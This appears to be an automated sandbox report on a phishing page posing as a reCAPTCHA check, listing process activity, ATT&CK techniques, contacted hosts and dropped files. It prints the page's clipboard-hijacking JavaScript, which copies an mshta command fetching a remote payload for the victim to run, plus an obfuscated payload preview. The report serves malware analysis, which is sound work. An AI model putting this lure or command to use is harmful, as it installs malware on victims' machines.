Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Windows\System32\mshta.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	2 Browser Extensions	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Security Software Discovery	Remote Services	1 Email Collection	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 PowerShell	1 Registry Run Keys / Startup Folder	1 Registry Run Keys / Startup Folder	31 Virtualization/Sandbox Evasion	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	1 DLL Side-Loading	11 Process Injection	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Extra Window Memory Injection	1 DLL Side-Loading	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Extra Window Memory Injection	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	23 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Source	Detection	Scanner	Label	Link
https://sos-at-vie-1.exo.io/ilbuck/sato/process/continue-after-check-vr2.html	0%	Avira URL Cloud	safe

Name	IP	Active	Malicious	Reputation
lb-at-vie-1.exo.io	194.182.175.81	true	false	unknown
google.com	172.217.17.46	true	false	high
heavens.holistic-haven.shop	104.21.64.1	true	true	unknown
cdnjs.cloudflare.com	104.17.25.14	true	false	high
www.google.com	142.250.181.132	true	false	high
buck1st.oss-ap-southeast-5.aliyuncs.com	149.129.200.32	true	true	unknown
sos-at-vie-1.exo.io	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://sos-at-vie-1.exo.io/ilbuck/sato/process/continue-after-check-vr2.html	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
1.1.1.1	unknown	Australia	13335	CLOUDFLARENETUS	false
172.217.17.78	unknown	United States	15169	GOOGLEUS	false
172.217.17.67	unknown	United States	15169	GOOGLEUS	false
172.217.17.35	unknown	United States	15169	GOOGLEUS	false
172.217.17.46	google.com	United States	15169	GOOGLEUS	false
104.21.64.1	heavens.holistic-haven.shop	United States	13335	CLOUDFLARENETUS	true
142.250.181.132	www.google.com	United States	15169	GOOGLEUS	false
23.218.208.109	unknown	United States	6453	AS6453US	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
194.182.175.81	lb-at-vie-1.exo.io	Switzerland	61098	EXOSCALECH	false
142.250.181.3	unknown	United States	15169	GOOGLEUS	false
172.217.21.35	unknown	United States	15169	GOOGLEUS	false
149.129.200.32	buck1st.oss-ap-southeast-5.aliyuncs.com	Singapore	45102	CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC	true
64.233.163.84	unknown	United States	15169	GOOGLEUS	false
104.17.25.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.17
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1576728
Start date and time:	2024-12-17 13:21:16 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Sample URL:	https://sos-at-vie-1.exo.io/ilbuck/sato/process/continue-after-check-vr2.html
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	31
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled
Analysis Mode:	stream
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal80.phis.evad.win@25/15@10/173

Warnings

Exclude process from analysis (whitelisted): TextInputHost.exe
Excluded IPs from analysis (whitelisted): 172.217.21.35, 172.217.17.78, 64.233.163.84, 172.217.17.46, 142.250.181.3, 172.217.17.67, 2.20.68.210
Excluded domains from analysis (whitelisted): clients2.google.com, accounts.google.com, clientservices.googleapis.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: https://sos-at-vie-1.exo.io/ilbuck/sato/process/continue-after-check-vr2.html

LLM Input / Output

Input	Output
URL: https://sos-at-vie-1.exo.io Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": true, "ip_in_url": false, "long_subdomain": true, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": true }
URL: https://sos-at-vie-1.exo.io
URL: https://sos-at-vie-1.exo.io/ilbuck/sato/process/co... Model: Joe Sandbox AI	{ "risk_score": 8, "reasoning": "This script demonstrates high-risk behavior by using the `mshta` command to execute remote code, which can be used to download and run malicious content. Additionally, the script copies sensitive information (a 'reCAPTCHA Verification ID') to the clipboard, which could be used for phishing or other malicious purposes. The script also manipulates the DOM to display a reCAPTCHA popup, which could be part of a social engineering attack. Overall, the combination of remote code execution, data exfiltration, and suspicious UI manipulation indicates a high-risk script that should be thoroughly investigated." }
function verify() { const textToCopy = `mshta https://buck1st.oss-ap-southeast-5.aliyuncs.com/dir/five/singl5.mp4 # ''I am not a robot - reCAPTCHA Verification ID: 2165`; const tempTextArea = document.createElement("textarea"); tempTextArea.value = textToCopy; document.body.appendChild(tempTextArea); tempTextArea.select(); document.execCommand("copy"); document.body.removeChild(tempTextArea); const recaptchaPopup = document.getElementById("recaptchaPopup"); const overlay = document.getElementById("overlay"); recaptchaPopup.classList.add("active"); overlay.classList.add("active"); } const verifyButton = document.getElementById('verifyButton'); verifyButton.addEventListener('click', verify);
URL: https://sos-at-vie-1.exo.io/ilbuck/sato/process/continue-after-check-vr2.html Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Please verify that you are a human to continue.", "prominent_button_name": "I'm not a robot", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_security_alerts": false }

URL: https://sos-at-vie-1.exo.io/ilbuck/sato/process/continue-after-check-vr2.html Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://sos-at-vie-1.exo.io/ilbuck/sato/process/continue-after-check-vr2.html Model: Joe Sandbox AI	```json{ "legit_domain": "exo.io", "classification": "unknown", "reasons": [ "The URL 'sos-at-vie-1.exo.io' is hosted on 'exo.io', which is a legitimate domain associated with Exoscale, a cloud service provider.", "The brand 'u' is not clearly associated with any well-known or known brand, making it difficult to determine a legitimate domain.", "The subdomain 'sos-at-vie-1' does not provide clear information about the brand or purpose, which is common in cloud service environments.", "There are no obvious misspellings or suspicious elements in the main domain 'exo.io'.", "The use of a cloud service provider's domain can be legitimate if the service is being used by a customer, but without more information, it is hard to verify the legitimacy." ], "riskscore": 5}
URL: sos-at-vie-1.exo.io Brands: u Input Fields: unknown
URL: https://sos-at-vie-1.exo.io/ilbuck/sato/process/continue-after-check-vr2.html Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Verify You Are Human", "prominent_button_name": "I'm not a robot", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": true, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_security_alerts": false }

URL: https://sos-at-vie-1.exo.io/ilbuck/sato/process/continue-after-check-vr2.html Model: Joe Sandbox AI	{ "brands": "unknown" }
	{ "brands": "unknown" }
URL: https://sos-at-vie-1.exo.io/ilbuck/sato/process/continue-after-check-vr2.html Model: Joe Sandbox AI	```json{ "legit_domain": "exo.io", "classification": "unknown", "reasons": [ "The URL 'sos-at-vie-1.exo.io' is hosted on 'exo.io', which is a legitimate domain associated with Exoscale, a cloud service provider.", "The brand is listed as 'u', which is not a recognizable brand name and does not provide enough information to associate with a known or well-known brand.", "The subdomain 'sos-at-vie-1' does not provide any clear indication of a specific brand or service, making it difficult to assess its legitimacy.", "The use of a cloud service provider's domain can be legitimate if the service is being used by a customer, but without further brand information, it is hard to verify.", "No suspicious elements such as misspellings or unusual domain extensions are present in the URL." ], "riskscore": 5}
URL: sos-at-vie-1.exo.io Brands: u Input Fields: unknown
URL: https://exo.io Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://exo.io

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\GO30WR0E\singl5[1].mp4

Download File

Process:	C:\Windows\System32\mshta.exe
File Type:	data
Category:	dropped
Size (bytes):	348658
Entropy (8bit):	2.9219118492165084
Encrypted:	false
SSDEEP:
MD5:	EA0877DEB8183C95288C200750296AFB
SHA1:	9FA8F1B0D3CDB6791CCBD262E484C66330BF72F9
SHA-256:	40DED87C0F60C66207E095FD0C20C3C7D53FBEE00D7EE6725F456D6157572B89
SHA-512:	472D8896E7701C720F64449AA78EA114445B91DC0E059F82FD3979EA88C5A4EF103E86CFF3F83B33065B4AE71038718BCB83FE5315F571BAD74CE3C3E16A85BA
Malicious:	false
Reputation:	unknown
Preview:	66v75P6eL63b74v69s6fe6eF20R6br44Q59b64e28l65q72p71T4bQ29X7bH76y61m72V20s6cW6dR4bj44l4fD3dq20x27G27G3bF66c6fO72Z20L28O76L61k72P20O56J66l41C43M20F3dU20M30r3bP56o66W41y43J20t3cT20E65d72I71t4bC2ea6ct65K6eU67Z74I68b3bQ20H56B66M41X43j2bY2bM29G7bT76E61e72Q20r43z4bi66R4cj64H78S20V3dG20G53l74C72q69M6en67P2eb66h72n6fw6dt43w68j61O72c43z6fO64l65h28M65k72Z71e4bc5bL56b66L41s43k5dR20p2dG20J39B31Q32J29g3bW6ck6dw4bf44l4fQ20h3dX20u6cP6dT4bp44j4fs20h2bn20u43W4bM66X4cO64B78M7dE72i65x74W75H72m6em20i6cy6dS4bT44s4fA7dk3bg76y61I72x20F6cQ6dL4br44D4fB20Z3dI20S6bP44e59D64m28R5bU31Y30r32w34o2cu31a30k32I33h2cV31W30P33A31g2cD31N30X31D33a2cJ31l30A32M36f2cv31x30z32U37W2cD31u30g31C36X2cc31s30k31J33N2cX31U30I32e30W2cg31l30Y32b30P2cC39H35z38M2cI31j30X31e33R2ct31x30a33Q32l2cd31a30q31N33d2cE39K34d34N2cq39D35o37c2cW31q30y33K31Y2cX39F34U34v2cu39T36t31n2cE39N34S34Q2cQ39w35E37W2cA31v30p31X33v2cX31E30Z32u34J2cI39T34G34B2co39S39i37Z2cD31K30R32i32f2cW31U30p32z36w2cK31w30a31H33k2cG31V30u32J37n2cc31A30A32u38B2cl31L30a32g36C2cZ31A3

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	11608
Entropy (8bit):	4.8908305915084105
Encrypted:	false
SSDEEP:
MD5:	DD89E182EEC1B964E2EEFE5F8889DCD7
SHA1:	326A3754A1334C32056811411E0C5C96F8BFBBEE
SHA-256:	383ABA2B62EA69A1AA28F0522BCFB0A19F82B15FCC047105B952950FF8B52C63
SHA-512:	B9AFE64D8558860B0CB8BC0FA676008E74F983C4845895E5444DD776A42B584ECE0BB1612D8F97EE631B064F08CF5B2C7622D58A3EF8EF89D199F2ACAEFA8B52
Malicious:	false
Reputation:	unknown
Preview:	PSMODULECACHE......)..z..S...C:\Program Files\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script.........&ug.z..C...C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psd1........Describe........Get-TestDriveItem........New-Fixture........In........Invoke-Mock........InModuleScope........Mock........SafeGetCommand........Af

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	18988
Entropy (8bit):	5.454128043565171
Encrypted:	false
SSDEEP:
MD5:	53C5EB0D257FC6703F54553849883AD0
SHA1:	68B87B1C60E817B6C8002529A95BEE4A53C5F444
SHA-256:	BEFC1A51940E46CCD9D3E8B287366106087FE907C29EECF001DA82E19BBA7063
SHA-512:	0C77E55E41715D89CB828927C789AE9ACF05D67204AAC93ED4F586C4FD3F783DC8EFDDAA0343CD94AA8050DA9F46FC954E8F10E09EFA78089DB80A8166A3CCC0
Malicious:	false
Reputation:	unknown
Preview:	@...e...........(....................................@..........H...............o..b~.D.poM...9..... .Microsoft.PowerShell.ConsoleHostD...............4..7..D.#V.............System.Management.Automation0.................Vn.F..kLsw..........System..4...............<."..Ke@...j..........System.Core.4.................%...K... ...........System.Xml..L.................gQ?O.....x5.......#.Microsoft.Management.Infrastructure.8..................1...L..U;V.<}........System.Numerics.@................z.U..G...5.f.1........System.DirectoryServices<................t.,.lG....M...........System.Management...4...............&.QiA0aN.:... .G........System.Data.<...............i..VdqF...\|...........System.ConfigurationH................WY..2.M.&..g(g........Microsoft.PowerShell.Security...<................$@...J....M+.B........System.Transactions.P...............8..{...@.e..."4.......%.Microsoft.PowerShell.Commands.Utility...D....................+.H..!...e........System.Configuration.Ins

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dt1gtpij.2sq.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	unknown
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unknown
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9885935897659706
Encrypted:	false
SSDEEP:
MD5:	6153FAB1F06DD7FDE1D44ED9FB6DD196
SHA1:	7DB96AF7A2132661C9D275BF375C58F3D9B94979
SHA-256:	CFCA53B24108345CAB98C4F23F8A6E8505648BD0FDFD67F670F7ED0047F7F666
SHA-512:	279348E0C349BB53B9F7E296A59BFE09FCA06A80924FC0136725FE3093BB648BF68D2798689BA249199A0666CD962709AE49EA47B5C85E62FBF5DCDBC23EB2D8
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....B~P......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.Y.b....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.b....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.Y.b....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.Y.b...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y.b...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........sAJp.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unknown
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	4.0025160514014715
Encrypted:	false
SSDEEP:
MD5:	8B8E922FF9F61B72EA9D05BDF25DF07F
SHA1:	D88F2F4239703511189EE2DE7F3CF188B0546220
SHA-256:	0CBB6E13192C528ABC2E988DEBD721706512335F4C0819DAF7EFA8F966C39F0C
SHA-512:	9BE468156A204C29DA9BCA5F20AE902BF4A8C599E2D4B214B5C7D0DB8A7D747D412A934F47292A90C2D0AD5D9FD51C1CF5206DD7759A313D0B48F76086766716
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,....~.~B~P......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.Y.b....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.b....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.Y.b....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.Y.b...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y.b...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........sAJp.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unknown
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.013892304865733
Encrypted:	false
SSDEEP:
MD5:	B785E2D6DE15C8332044D276C5C85AC8
SHA1:	0CBAA46722497BD5B5D72E6A0BFCE598174CEFF8
SHA-256:	5EDE1A71475E8D6376C6E368FB654A68DB11C89910A1FA21349C6140EF7BDF78
SHA-512:	1EE9F3B85564471BA7587CC015CA3D49EE1948D72D6D860F6C5C54D4B74931EBD41EA72F3556516BAE51AB637342CB80D2B2E0B63505B5324373DEA56A418A94
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....v. ;.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.Y.b....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.b....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.Y.b....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.Y.b...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VFW.N...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........sAJp.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unknown
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.999936677659938
Encrypted:	false
SSDEEP:
MD5:	3D60EFA6E7FD8A76B0938DEC6AD13915
SHA1:	E0DCBD6112909883F41E383F2F6792134B724875
SHA-256:	1D9002175366F4E1413B3A29FBB591E15665C298F6E316482AC8F31985B0A538
SHA-512:	1E73522590C7A4A1D91869B0E21CA010241ECF8FF9C34A3982490091BE383326D1EE19ECAC9B226C0BD3D9EF37E51C8F3D8084ADA6F4A8CF1F4AE5CDD9F8BF5E
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,....r.wB~P......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.I.Y.b....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.b....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.V.Y.b....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.V.Y.b...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.V.Y.b...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........sAJp.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unknown
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9924285474454426
Encrypted:	false
SSDEEP:
MD5:	AF28737BF153B32B5D7BD09BA62E6CA9
SHA1:	60B4E9057F37416D5BCB8B00C371EB0FAC8E7FFD
SHA-256:	F3A9492A5785440E8A9F85E0D11DC443F1DD5FDCC5F4520471700F88762826D5
SHA-512:	77CD08376E0F8F0D5A464C9D82A922CB185DEFC7C5E5067F2F99E27A84179422B718EFAD85CDA85EF68FC57C6E4C9A90EBAEC88929E1E17649E11689167F2BFD
Malicious:	false
Reputation:	unknown
